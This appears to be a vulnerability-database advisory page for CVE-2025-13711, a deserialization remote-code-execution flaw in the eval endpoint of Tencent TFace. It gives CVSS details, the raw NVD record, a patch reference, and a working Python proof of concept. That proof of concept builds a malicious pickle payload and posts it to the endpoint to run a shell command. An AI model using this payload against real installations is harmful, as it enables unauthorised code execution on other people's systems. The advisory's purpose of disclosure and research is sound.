Security Vulnerability Report
中文
CVE-2025-13711 CVSS 7.8 HIGH

CVE-2025-13711

Published: 2025-12-23 22:15:46
Last Modified: 2026-01-12 17:36:52

Description

Tencent TFace eval Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Tencent TFace. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the eval endpoint. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-27187.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:tencent:tface:*:*:*:*:*:*:*:* - VULNERABLE
Tencent TFace (版本未明确指定,eval接口受影响)
参考修复commit: 7b2eed297d43dcdd1e3d45bfdfc950478e3af5d9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import pickle import base64 import os # 恶意反序列化Payload - 执行任意命令 class RCE: def __reduce__(self): cmd = 'id > /tmp/pwned.txt' return (os.system, (cmd,)) # 生成Payload payload = pickle.dumps(RCE()) payload_b64 = base64.b64encode(payload).decode() print(f"[*] CVE-2025-13711 PoC for Tencent TFace") print(f"[*] Generated malicious payload (base64):\n{payload_b64}") # 构造HTTP请求 import requests target_url = "http://target:8000/eval" # 目标TFace eval端点 headers = { 'Content-Type': 'application/x-www-form-urlencoded', } data = { 'data': payload_b64 # 注入恶意序列化数据 } print(f"[*] Sending payload to {target_url}") try: response = requests.post(target_url, data=data, headers=headers, timeout=10) print(f"[*] Response status: {response.status_code}") print(f"[*] Response: {response.text}") except Exception as e: print(f"[!] Error: {e}") print("[*] Check /tmp/pwned.txt on target for proof of execution")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13711", "sourceIdentifier": "[email protected]", "published": "2025-12-23T22:15:45.827", "lastModified": "2026-01-12T17:36:51.507", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tencent TFace eval Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Tencent TFace. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the eval endpoint. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-27187."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tencent:tface:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025-09-29", "matchCriteriaId": "469A2034-B51B-4F89-84CF-2E41DC663D76"}]}]}], "references": [{"url": "https://github.com/Tencent/TFace/commit/7b2eed297d43dcdd1e3d45bfdfc950478e3af5d9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1035/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}